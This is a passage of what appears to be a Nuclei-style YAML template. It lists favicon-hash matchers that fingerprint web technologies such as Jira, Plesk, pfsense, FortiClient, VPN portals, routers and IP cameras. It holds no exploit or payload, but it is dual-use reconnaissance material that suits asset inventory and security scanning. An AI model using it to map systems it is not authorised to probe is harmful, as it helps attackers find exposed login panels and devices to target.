- "status_code==200 && (\"246145559\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "atlassian"
dsl:
- "status_code==200 && (\"628535358\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "jira"
dsl:
- "status_code==200 && (\"855273746\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "avigilon"
dsl:
- "status_code==200 && (\"1318124267\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "atlassian-confluence"
dsl:
- "status_code==200 && (\"-305179312\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "openstack"
dsl:
- "status_code==200 && (\"786533217\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "pi-star"
dsl:
- "status_code==200 && (\"432733105\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "atlassian"
dsl:
- "status_code==200 && (\"705143395\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "angular-io-angularjs"
dsl:
- "status_code==200 && (\"-1255347784\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "xampp"
dsl:
- "status_code==200 && (\"-1275226814\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "react"
dsl:
- "status_code==200 && (\"-2009722838\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "atlassian-jira"
dsl:
- "status_code==200 && (\"981867722\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "openstack"
dsl:
- "status_code==200 && (\"-923088984\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "aplikasi"
dsl:
- "status_code==200 && (\"494866796\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ubiquiti-aircube"
dsl:
- "status_code==200 && (\"1249285083\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "atlassian-bamboo"
dsl:
- "status_code==200 && (\"-1379982221\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "exostar-managed-access-gateway"
dsl:
- "status_code==200 && (\"420473080\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "atlassian-confluence"
dsl:
- "status_code==200 && (\"-1642532491\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "cisco-meraki"
dsl:
- "status_code==200 && (\"163842882\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "archivematica"
dsl:
- "status_code==200 && (\"-1378182799\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "tcn"
dsl:
- "status_code==200 && (\"-702384832\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "cx"
dsl:
- "status_code==200 && (\"-532394952\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ace"
dsl:
- "status_code==200 && (\"-183163807\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "atlassian-jira"
dsl:
- "status_code==200 && (\"552727997\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "netdata"
dsl:
- "status_code==200 && (\"1302486561\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "opengeo-suite"
dsl:
- "status_code==200 && (\"-609520537\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "dgraph-ratel"
dsl:
- "status_code==200 && (\"-1961046099\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "atlassian-jira"
dsl:
- "status_code==200 && (\"-1581907337\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "material-dashboard"
dsl:
- "status_code==200 && (\"1913538826\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "form.io"
dsl:
- "status_code==200 && (\"1319699698\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "kubeflow"
dsl:
- "status_code==200 && (\"-1203021870\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "netdata-dashboard"
dsl:
- "status_code==200 && (\"-182423204\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "caprover"
dsl:
- "status_code==200 && (\"988422585\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "wijungle"
dsl:
- "status_code==200 && (\"2113497004\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "onera"
dsl:
- "status_code==200 && (\"1234311970\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "smartping"
dsl:
- "status_code==200 && (\"430582574\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "openstack"
dsl:
- "status_code==200 && (\"1232596212\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "netdata-dashboard"
dsl:
- "status_code==200 && (\"1585145626\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "fritz!box"
dsl:
- "status_code==200 && (\"-219752612\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ubiquiti-airos"
dsl:
- "status_code==200 && (\"-697231354\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "fortinet-forticlient"
dsl:
- "status_code==200 && (\"945408572\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "outlook-web-application"
dsl:
- "status_code==200 && (\"1768726119\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "huawei-claro"
dsl:
- "status_code==200 && (\"2109473187\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "asus-aicloud"
dsl:
- "status_code==200 && (\"552592949\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "sonicwall"
dsl:
- "status_code==200 && (\"631108382\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "google"
dsl:
- "status_code==200 && (\"708578229\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "plesk"
dsl:
- "status_code==200 && (\"-134375033\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "dahua-storm-ip-camera"
dsl:
- "status_code==200 && (\"2019488876\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "huawei-adsl/router"
dsl:
- "status_code==200 && (\"-1395400951\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "sophos-cyberoam-appliance"
dsl:
- "status_code==200 && (\"1601194732\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "lancom-systems"
dsl:
- "status_code==200 && (\"-325082670\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "plesk"
dsl:
- "status_code==200 && (\"-1050786453\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "tilginab-homegateway"
dsl:
- "status_code==200 && (\"-1346447358\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "supermicro-intelligent-management-ipmi"
dsl:
- "status_code==200 && (\"1410610129\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "zyxel-zywall"
dsl:
- "status_code==200 && (\"-440644339\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "dell-sonicwall"
dsl:
- "status_code==200 && (\"363324987\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ubiquiti-login-portals"
dsl:
- "status_code==200 && (\"-1446794564\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "sophos-user-portal/vpn-portal"
dsl:
- "status_code==200 && (\"1045696447\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "apache-tomcat"
dsl:
- "status_code==200 && (\"-297069493\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "openvpn"
dsl:
- "status_code==200 && (\"396533629\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "cyberoam"
dsl:
- "status_code==200 && (\"1462981117\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "asp.net-favicon"
dsl:
- "status_code==200 && (\"1772087922\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "technicolor"
dsl:
- "status_code==200 && (\"1594377337\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "vodafone-technicolor"
dsl:
- "status_code==200 && (\"165976831\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ubnt-router-ui"
dsl:
- "status_code==200 && (\"-1677255344\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "intelbras-wireless"
dsl:
- "status_code==200 && (\"-359621743\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "kerio-connect-webmail"
dsl:
- "status_code==200 && (\"-677167908\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "big-ip"
dsl:
- "status_code==200 && (\"878647854\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "microsoft-owa"
dsl:
- "status_code==200 && (\"442749392\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "pfsense"
dsl:
- "status_code==200 && (\"1405460984\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ikuai-networks"
dsl:
- "status_code==200 && (\"-271448102\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "dlink-webcam"
dsl:
- "status_code==200 && (\"31972968\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "3cx-phone-system"
dsl:
- "status_code==200 && (\"970132176\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "bluehost"
dsl:
- "status_code==200 && (\"-1119613926\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "sangfor"
dsl:
- "status_code==200 && (\"123821839\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "zte-corporation-gateway/appliance"
dsl:
- "status_code==200 && (\"459900502\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ruckus-wireless"
dsl:
- "status_code==200 && (\"-2069844696\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "bitnami"
dsl:
- "status_code==200 && (\"-1607644090\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "juniper-device-manager"
dsl:
- "status_code==200 && (\"2141724739\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "technicolor-gateway"
dsl:
- "status_code==200 && (\"1835479497\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "gitlab"
dsl:
- "status_code==200 && (\"1278323681\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "netasq---secure-/-stormshield"
dsl:
- "status_code==200 && (\"-1929912510\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "vmware-horizon"
dsl:
- "status_code==200 && (\"-1255992602\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "vmware-horizon"
dsl:
- "status_code==200 && (\"1895360511\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "vmware-horizon"
dsl:
- "status_code==200 && (\"-991123252\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "vmware-secure-file-transfer"
dsl:
- "status_code==200 && (\"1642701741\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "sap-netweaver"
dsl:
- "status_code==200 && (\"-266008933\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "sap-id-service"
dsl:
- "status_code==200 && (\"-1967743928\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "sap-conversational-ai"
dsl:
- "status_code==200 && (\"1347937389\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "palo-alto-login-portal"
dsl:
- "status_code==200 && (\"602431586\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "palo-alto-networks"
dsl:
- "status_code==200 && (\"-318947884\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "outlook-web-application"
dsl:
- "status_code==200 && (\"1356662359\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "webmin"
dsl:
- "status_code==200 && (\"1453890729\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "docker"
dsl:
- "status_code==200 && (\"-1814887000\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "docker"
dsl:
- "status_code==200 && (\"1937209448\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "amazon"
dsl:
- "status_code==200 && (\"-1544605732\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "amazon"
dsl:
- "status_code==200 && (\"716989053\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "phpmyadmin"
dsl:
- "status_code==200 && (\"-1010568750\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "zhejiang-uniview-technologies-co."
dsl:
- "status_code==200 && (\"-1240222446\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "isp-manager"
dsl:
- "status_code==200 && (\"-986678507\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "axis-network-cameras"
dsl:
- "status_code==200 && (\"-1616143106\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "roundcube-webmail"
dsl:
- "status_code==200 && (\"-976235259\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "unifi-video-controller-airvision"
dsl:
- "status_code==200 && (\"768816037\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "pfsense"
dsl:
- "status_code==200 && (\"1015545776\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "freebox-os"
dsl:
- "status_code==200 && (\"1838417872\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "hxxps"
dsl:
- "status_code==200 && (\"1188645141\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "keenetic"
dsl:
- "status_code==200 && (\"547282364\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "sierra-wireless-ace-manager-airlink"
dsl:
- "status_code==200 && (\"-1571472432\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "synology-diskstation"
dsl:
- "status_code==200 && (\"149371702\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "instar-ip-cameras"
dsl:
- "status_code==200 && (\"-1169314298\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "webmin"
dsl:
- "status_code==200 && (\"-1038557304\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "octoprint-3d-printer"
dsl:
- "status_code==200 && (\"1307375944\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "webmin"
dsl:
- "status_code==200 && (\"1280907310\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "vesta-hosting-control-panel"
dsl:
- "status_code==200 && (\"1954835352\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "farming-simulator-dedicated-server"
dsl:
- "status_code==200 && (\"509789953\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "residential-gateway"
dsl:
- "status_code==200 && (\"-1933493443\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "cpanel-login"
dsl:
- "status_code==200 && (\"1993518473\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "arris"
dsl:
- "status_code==200 && (\"-1477563858\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "plex-server"
dsl:
- "status_code==200 && (\"-895890586\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "dlink-webcam"
dsl:
- "status_code==200 && (\"-1354933624\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "deluge"
dsl:
- "status_code==200 && (\"944969688\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "webmin"
dsl:
- "status_code==200 && (\"479413330\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "cambium-networks"
dsl:
- "status_code==200 && (\"-435817905\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "plesk"
dsl:
- "status_code==200 && (\"-981606721\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "dahua-storm-ip-camera"
dsl:
- "status_code==200 && (\"833190513\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "10"
dsl:
- "status_code==200 && (\"-1314864135\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "parallels-plesk-panel"
dsl:
- "status_code==200 && (\"-652508439\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "fireware-watchguard"
dsl:
- "status_code==200 && (\"-569941107\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "shock&innovation!!-netis-setup"
dsl:
- "status_code==200 && (\"1326164945\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "cacaoweb"
dsl:
- "status_code==200 && (\"-1738184811\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "loxone-automation"
dsl:
- "status_code==200 && (\"904434662\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "hp-printer/server"
dsl:
- "status_code==200 && (\"905744673\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "netflix"
dsl:
- "status_code==200 && (\"902521196\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "linksys-smart-wi-fi"
dsl:
- "status_code==200 && (\"-2063036701\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "lwip-a-lightweight-tcp/ip-stack"
dsl:
- "status_code==200 && (\"-1205024243\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "hitron-technologies"
dsl:
- "status_code==200 && (\"607846949\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "dahua-storm-dvr"
dsl:
- "status_code==200 && (\"1281253102\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "mobotix-camera"
dsl:
- "status_code==200 && (\"661332347\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "blue-iris-webcam"
dsl:
- "status_code==200 && (\"-520888198\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "vigor-router"
dsl:
- "status_code==200 && (\"104189364\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "alibaba-cloud-block-page"
dsl:
- "status_code==200 && (\"1227052603\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "dd-wrt-dd-wrt-milli_httpd"
dsl:
- "status_code==200 && (\"252728887\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "mitel-networks-micollab-end-user-portal"
dsl:
- "status_code==200 && (\"-1922044295\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "dlink-webcam"
dsl:
- "status_code==200 && (\"1221759509\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "dlink-router"
dsl:
- "status_code==200 && (\"1037387972\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "prtg-network-monitor"
dsl:
- "status_code==200 && (\"-655683626\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "elastic-database"
dsl:
- "status_code==200 && (\"1611729805\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "dlink-webcam"
dsl:
- "status_code==200 && (\"1144925962\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "wildfly"
dsl:
- "status_code==200 && (\"-1666561833\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "cisco-meraki-dashboard"
dsl:
- "status_code==200 && (\"804949239\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "workday"
dsl:
- "status_code==200 && (\"-459291760\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "justhost"
dsl:
- "status_code==200 && (\"1734609466\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "baidu-ip-error-page"
dsl:
- "status_code==200 && (\"-1507567067\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "intelbras-sa"
dsl:
- "status_code==200 && (\"2006716043\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "yii-php-framework-default-favicon"
dsl:
- "status_code==200 && (\"-1298108480\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "truvision-nvr-interlogix"
dsl:
- "status_code==200 && (\"1782271534\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "redmine"
dsl:
- "status_code==200 && (\"603314\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "phpmyadmin"
dsl:
- "status_code==200 && (\"-476231906\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "cisco-eg"
dsl:
- "status_code==200 && (\"-646322113\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "jetty-404"
dsl:
- "status_code==200 && (\"-629047854\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "luma-surveillance"
dsl:
- "status_code==200 && (\"-1351901211\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "parallels-plesk-panel"
dsl:
- "status_code==200 && (\"-519765377\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "hp-printer-/-server"
dsl:
- "status_code==200 && (\"-2144363468\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "metasploit"
dsl:
- "status_code==200 && (\"-127886975\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "metasploit"
dsl:
- "status_code==200 && (\"1139788073\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "metasploit"
dsl:
- "status_code==200 && (\"-1235192469\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "alibi-nvr"
dsl:
- "status_code==200 && (\"1876585825\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "sangfor"
dsl:
- "status_code==200 && (\"-1810847295\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "websockets-test-page-eg"
dsl:
- "status_code==200 && (\"-291579889\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "macos-server-apple"
dsl:
- "status_code==200 && (\"1629518721\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "openrg"
dsl:
- "status_code==200 && (\"-986816620\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "cisco-router"
dsl:
- "status_code==200 && (\"-299287097\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "sangfor"
dsl:
- "status_code==200 && (\"-1926484046\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "herospeed-digital-technology-co.-nvr/ipc/xvr"
dsl:
- "status_code==200 && (\"-873627015\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "nomadix-access-gateway"
dsl:
- "status_code==200 && (\"2071993228\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "gitlab"
dsl:
- "status_code==200 && (\"516963061\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "magento"
dsl:
- "status_code==200 && (\"-38580010\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "mk-auth"
dsl:
- "status_code==200 && (\"1490343308\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "shoutcast-server"
dsl:
- "status_code==200 && (\"-632583950\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "fireeye"
dsl:
- "status_code==200 && (\"95271369\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "fireeye"
dsl:
- "status_code==200 && (\"1476335317\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "fireeye"
dsl:
- "status_code==200 && (\"-842192932\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "fireeye"
dsl:
- "status_code==200 && (\"105083909\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "fireeye"
dsl:
- "status_code==200 && (\"240606739\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "fireeye"
dsl:
- "status_code==200 && (\"2121539357\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "adobe-campaign-classic"
dsl:
- "status_code==200 && (\"-333791179\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "xampp"
dsl:
- "status_code==200 && (\"-1437701105\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "niagara-web-server"
dsl:
- "status_code==200 && (\"-676077969\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "technicolor"
dsl:
- "status_code==200 && (\"-2138771289\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "hitron-technologies-inc."
dsl:
- "status_code==200 && (\"711742418\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ibm-notes"
dsl:
- "status_code==200 && (\"728788645\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "barracuda"
dsl:
- "status_code==200 && (\"1436966696\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "servicenow"
dsl:
- "status_code==200 && (\"86919334\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "openfire-admin-console"
dsl:
- "status_code==200 && (\"1211608009\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "hp-ilo"
dsl:
- "status_code==200 && (\"2059618623\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "sunny-webbox"
dsl:
- "status_code==200 && (\"1975413433\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "zyxel"
dsl:
- "status_code==200 && (\"943925975\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "huawei"
dsl:
- "status_code==200 && (\"281559989\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "tenda-web-master"
dsl:
- "status_code==200 && (\"-2145085239\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "prometheus-time-series-collection-and-processing-server"
dsl:
- "status_code==200 && (\"-1399433489\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "wdcp-cloud-host-management-system"
dsl:
- "status_code==200 && (\"1786752597\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "domoticz-home-automation"
dsl:
- "status_code==200 && (\"90680708\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "tableau"
dsl:
- "status_code==200 && (\"-1441956789\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "openwrt-luci"
dsl:
- "status_code==200 && (\"-675839242\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ubiquiti-airos"
dsl:
- "status_code==200 && (\"1020814938\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "mdaemon-webmail"
dsl:
- "status_code==200 && (\"-766957661\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "teltonika"
dsl:
- "status_code==200 && (\"119741608\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "entrolink"
dsl:
- "status_code==200 && (\"1973665246\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "windriver-webserver"
dsl:
- "status_code==200 && (\"74935566\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "microhard-systems"
dsl:
- "status_code==200 && (\"-1723752240\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "skype"
dsl:
- "status_code==200 && (\"-1807411396\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "teltonika"
dsl:
- "status_code==200 && (\"-1612496354\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "eltex-router"
dsl:
- "status_code==200 && (\"1877797890\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "bintec-elmeg"
dsl:
- "status_code==200 && (\"-375623619\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "syncthru-web-service-printers"
dsl:
- "status_code==200 && (\"1483097076\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "boaserver"
dsl:
- "status_code==200 && (\"1169183049\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "securepoint"
dsl:
- "status_code==200 && (\"1051648103\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "moodle"
dsl:
- "status_code==200 && (\"-438482901\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "radix"
dsl:
- "status_code==200 && (\"-1492966240\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "cradlepoint-technology-router"
dsl:
- "status_code==200 && (\"1466912879\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "drupal"
dsl:
- "status_code==200 && (\"-167656799\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "blackboard"
dsl:
- "status_code==200 && (\"-1593651747\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "jupyter-notebook"
dsl:
- "status_code==200 && (\"-895963602\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "hostmonster---web-hosting"
dsl:
- "status_code==200 && (\"-972810761\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "d-link-router/network"
dsl:
- "status_code==200 && (\"1703788174\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "rocket-chat"
dsl:
- "status_code==200 && (\"225632504\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "mofinetwork"
dsl:
- "status_code==200 && (\"-1702393021\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "zabbix"
dsl:
- "status_code==200 && (\"892542951\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "totolink-network"
dsl:
- "status_code==200 && (\"547474373\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ossia-provision-sr-|-webcam/ip-camera"
dsl:
- "status_code==200 && (\"-374235895\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "cpanel-login"
dsl:
- "status_code==200 && (\"1544230796\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "d-link-router/network"
dsl:
- "status_code==200 && (\"517158172\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "jeedom-home-automation"
dsl:
- "status_code==200 && (\"462223993\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "jboss-application-server-7"
dsl:
- "status_code==200 && (\"937999361\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "niagara-web-server-/-tridium"
dsl:
- "status_code==200 && (\"1991562061\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "solarwinds-serv-u-ftp-server"
dsl:
- "status_code==200 && (\"812385209\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "aruba-virtual-controller"
dsl:
- "status_code==200 && (\"1142227528\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "dell"
dsl:
- "status_code==200 && (\"-1153950306\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "remobjects-sdk-/-remoting-sdk-for-.net-http-server-microsoft"
dsl:
- "status_code==200 && (\"72005642\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "zyxel-zywall"
dsl:
- "status_code==200 && (\"-484708885\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "visualsvn-server"
dsl:
- "status_code==200 && (\"706602230\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "jboss"
dsl:
- "status_code==200 && (\"-656811182\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "starface-voip-software"
dsl:
- "status_code==200 && (\"-332324409\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "netis-network-devices"
dsl:
- "status_code==200 && (\"-594256627\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "whm"
dsl:
- "status_code==200 && (\"-649378830\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "tandberg"
dsl:
- "status_code==200 && (\"97604680\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ghost-cms"
dsl:
- "status_code==200 && (\"-1015932800\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "avtech-ip-surveillance-camera"
dsl:
- "status_code==200 && (\"-194439630\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "liferay-portal"
dsl:
- "status_code==200 && (\"129457226\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "parallels-plesk-panel"
dsl:
- "status_code==200 && (\"-771764544\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "odoo"
dsl:
